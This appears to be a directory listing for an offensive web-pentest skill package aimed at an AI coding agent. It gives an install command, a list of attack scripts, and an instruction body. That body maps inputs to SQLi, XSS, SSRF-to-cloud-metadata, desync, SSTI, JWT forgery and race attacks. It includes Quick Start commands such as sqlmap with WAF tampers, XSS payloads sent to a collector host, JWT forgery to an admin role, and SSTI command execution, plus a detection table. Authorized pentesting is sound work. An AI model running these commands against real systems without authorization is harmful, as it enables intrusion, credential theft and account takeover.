mcpbeat

Web Pentest

hypnguyen1209/web-pentest

Use when pentesting a web application or API — injection, XSS/CSP, SSRF/cloud-metadata, HTTP desync & cache poisoning, SSTI/prototype-pollution/deserialization, JWT/OAuth/GraphQL/IDOR, business logic & single-packet race

27k tokens
context cost
the whole folder, loaded on every use
15
files
ships runnable scripts
0
copies elsewhere
how many repositories repackaged it
334
stars on the repo
on the repository, not the skill itself

Install

one command, takes just this skill from the repository
npx skills add https://github.com/hypnguyen1209/offensive-claude --skill web-pentest

What comes with it

98 856 bytes besides the instruction
references/auth-api-access-control.md
references/http-desync-cache.md
references/injection-sqli-cmdi.md
references/proxy-mcp-integration.md
references/ssrf-cloud-metadata.md
references/ssti-deserialization.md
references/xss-csp-clientside.md
scripts/desync_probe.py
scripts/graphql_audit.py
scripts/jwt_forge.py
scripts/proto_ssti_gadgets.py
scripts/race_single_packet.py
scripts/ssrf_toolkit.py
scripts/xss_csp_forge.py

The instruction itself

7 sections, as written by the author

Web Application Penetration Testing

When to Activate

  • Web application security assessment (black/grey/white box)
  • API security testing (REST, GraphQL, WebSocket)
  • Authentication & session management testing (JWT, OAuth/OIDC, SAML)
  • Business-logic and race-condition hunting
  • WAF/CSP bypass, filter evasion, and CDN-layer attacks (desync, cache)
  • Validating modern 2024-2026 vectors: HTTP/1.1 desync (0.CL/TE.0), SSRF->cloud

metadata, prototype-pollution->RCE, SSTI sandbox escapes

Input-Signal Routing (what to test when you see X)

Fast test selection — map an observed parameter/behavior to the right deep-dive:

| Input signal you observe | Test for | Go to |

|--------------------------|----------|-------|

| id, uid, order_id, account, GUID/sequential ref | IDOR/BOLA, access control | references/auth-api-access-control.md |

| url, next, callback, dest, webhook, image_url | SSRF + cloud metadata, open redirect, OAuth chain | references/ssrf-cloud-metadata.md |

| price, qty, coupon, balance, status, state change | business logic + single-packet race | references/http-desync-cache.md (race) |

| template/preview/name reflected in output | SSTI -> RCE, reflected XSS | references/ssti-deserialization.md |

| search/filter/sort reflected; q=, error echoes input | SQLi, XSS, command injection | references/injection-sqli-cmdi.md |

| token, jwt, Authorization, Cookie, OAuth state | JWT forgery, session/OAuth flaws | references/auth-api-access-control.md |

| serialized blob / base64 object / __proto__ | deserialization, prototype pollution | references/ssti-deserialization.md |

| behind CDN/cache; X-Forwarded-*; keyed params | desync (0.CL/TE.0), cache poisoning | references/http-desync-cache.md |

Technique Map

| Technique | ATT&CK | CWE | Reference | Script |

|-----------|--------|-----|-----------|--------|

| SQL injection (UNION/blind/NoSQL) | T1190 | CWE-89 | references/injection-sqli-cmdi.md | scripts/ssrf_toolkit.py (probe pattern) / sqlmap |

| OS command / argument injection | T1059 | CWE-78 / CWE-88 | references/injection-sqli-cmdi.md | - |

| Reflected/stored/DOM XSS | T1059.007 | CWE-79 | references/xss-csp-clientside.md | scripts/xss_csp_forge.py |

| CSP bypass / script gadgets | T1059.007 | CWE-1021 | references/xss-csp-clientside.md | scripts/xss_csp_forge.py |

| Client-side prototype pollution -> XSS | T1059.007 | CWE-1321 | references/xss-csp-clientside.md | scripts/xss_csp_forge.py |

| SSRF + cloud metadata theft | T1552.005 | CWE-918 | references/ssrf-cloud-metadata.md | scripts/ssrf_toolkit.py |

| IMDSv2 bypass (Axios gadget) | T1552.005 | CWE-113 | references/ssrf-cloud-metadata.md | scripts/proto_ssti_gadgets.py |

| HTTP request smuggling / desync | T1190 | CWE-444 | references/http-desync-cache.md | scripts/desync_probe.py |

| Web cache poisoning / deception | T1557 | CWE-525 | references/http-desync-cache.md | scripts/desync_probe.py |

| SSTI -> RCE (Jinja2/Twig/FM/...) | T1059 | CWE-1336 | references/ssti-deserialization.md | scripts/proto_ssti_gadgets.py |

| Server-side prototype pollution -> RCE | T1059 | CWE-1321 | references/ssti-deserialization.md | scripts/proto_ssti_gadgets.py |

| Insecure deserialization (Java/.NET/PHP) | T1059 | CWE-502 | references/ssti-deserialization.md | ysoserial / ysoserial.net |

| JWT forgery (none/confusion/jku/jwk/kid) | T1078 | CWE-347 | references/auth-api-access-control.md | scripts/jwt_forge.py |

| OAuth/OIDC/SAML auth bypass | T1078 | CWE-287 | references/auth-api-access-control.md | scripts/jwt_forge.py |

| GraphQL abuse (batch/alias/depth) | T1190 | CWE-770 | references/auth-api-access-control.md | scripts/graphql_audit.py |

| IDOR / BOLA / mass assignment | T1078 | CWE-639 / CWE-915 | references/auth-api-access-control.md | - |

| Race condition (single-packet) | T1190 | CWE-362 | references/auth-api-access-control.md | scripts/race_single_packet.py |

Quick Start

# 0. Intake from recon-osint: hosts, tech fingerprint, endpoints, params.
#    Spider + content discovery
ffuf -u https://t/FUZZ -w raft-large.txt -mc all -fc 404 -o ffuf.json
nuclei -u https://t -severity critical,high -tags cve,exposure,misconfig

# 1. Injection — automated SQLi, manual cmdi
sqlmap -r request.txt --batch --level 3 --risk 2 --tamper=between,space2comment

# 2. XSS / CSP
python3 scripts/xss_csp_forge.py contexts --collector atk.tld
python3 scripts/xss_csp_forge.py csp "$(curl -sI https://t | grep -i content-security)"

# 3. SSRF -> cloud metadata
python3 scripts/ssrf_toolkit.py probe "https://t/api/fetch?url=FUZZ" --collab abc.oast.fun
python3 scripts/ssrf_toolkit.py cloud --provider aws

# 4. HTTP desync (2024-2026 vectors: cl0/expect/options/te0)
python3 scripts/desync_probe.py https://t --probe all --verbose

# 5. SSTI / prototype pollution / deserialization
python3 scripts/proto_ssti_gadgets.py detect
python3 scripts/proto_ssti_gadgets.py ssti --engine jinja2 --cmd "id"
python3 scripts/proto_ssti_gadgets.py proto --cmd "id"

# 6. Auth & API
python3 scripts/jwt_forge.py hs-confuse "$JWT" --pubkey pub.pem --claim role=admin
python3 scripts/graphql_audit.py introspect https://t/graphql

# 7. Logic / race
python3 scripts/race_single_packet.py https://t/redeem -d "code=X" -n 30 -H "Cookie: s=..."

# -> feed each confirmed issue into templates/exploit/findings/ with
#    severity, CWE, CVSS, PoC, evidence, ATT&CK ID, remediation.

OPSEC & Detection (summary)

| Technique | Telemetry / IOC | Detection (Sigma/EDR) | OPSEC note |

|-----------|-----------------|------------------------|------------|

| SQLi / cmdi | SQL keywords, SLEEP/WAITFOR, web-svc spawning sh/curl | webserver regex Sigma; EDR child-shell from www-data | time-based is slow+noisy; --random-agent --delay, in-band reads first |

| XSS / CSP / client-PP | <script, onerror=, __proto__ in params; CSP report-uri hits | webserver regex; Trusted-Types violation alerts | persistent __proto__ can break shared cached pages — avoid |

| SSRF / metadata | hits to 169.254.169.254 / metadata hosts from app tier | proxy Sigma; GuardDuty credential-exfil | stop at proving token retrieval; rotate collaborator subdomains |

| HTTP desync / cache | CL+TE together, obs-fold, Expect on OPTIONS to CDN | proxy Sigma; reject ambiguous framing | poisons co-tenant traffic — scoped only, never POST-smuggle prod |

| SSTI / PP / deser | {{ }}/${ }, NODE_OPTIONS, rO0AB, JNDI egress | webserver/body Sigma; EDR java->LDAP/RMI | id probe first; reverse shells trip EDR; revert polluted config |

| JWT / OAuth / GraphQL | alg:none, unknown jku/kid, multi-op GraphQL body | app Sigma; failed-verify spikes | forged-JWT attempts alert; cap GraphQL brute wordlist/rate |

| Race (single-packet) | burst of near-simultaneous mutating requests | rate-by-endpoint Sigma in 1s window | keep -n low; document state mutated for cleanup |

Deep Dives

  • references/injection-sqli-cmdi.md — SQLi (UNION/blind/error/NoSQL), OS command

& argument injection, sqlmap tamper workflow, modern WAF/Unicode evasion.

  • references/xss-csp-clientside.md — XSS contexts, DOM sinks, CSP bypass +

script gadgets, client-side prototype pollution -> XSS, mXSS/sanitizer bypass.

  • references/ssrf-cloud-metadata.md — SSRF parser confusion, gopher/redis,

AWS/GCP/Azure metadata, IMDSv2 reality + Axios bypass, HTML-to-PDF switch,

2024-2026 CVEs (Azure OpenAI, Oracle EBS, Next.js, ColdFusion).

  • references/http-desync-cache.md — CL.TE/TE.CL, TE.0 (2024), 0.CL/Expect &

CVE-2025-32094 (Akamai), TE.TE chunk-ext, cache poisoning/deception

("Gotta cache 'em all", ACM CCS 2024), pipelining-vs-desync caveat.

  • references/ssti-deserialization.md — per-engine SSTI RCE, sandbox escapes

(CVE-2024-22195, Frappe/XWiki/Yeti), Node prototype-pollution -> RCE (GHunter,

NODE_OPTIONS --import), Java/.NET/PHP deserialization gadget chains.

  • references/auth-api-access-control.md — JWT forgery, OAuth/OIDC/SAML, GraphQL

batch/alias/depth abuse, IDOR/BOLA/mass assignment, business logic, and the

HTTP/2 single-packet race attack.

  • references/proxy-mcp-integration.md — driving a live Burp/Caido proxy MCP for

ground-truth traffic + replay-with-auth, with mandatory header redaction

(redact_headers.py) at the data boundary.

How to use it

Copy the folder

Take hypnguyen1209/web-pentest from the repository into ~/.claude/skills for personal use, or into .claude/skills inside a project.

Check the name does not clash

The agent identifies a skill by the name field in its header. Two skills with the same name cannot sit side by side — one of them will be ignored.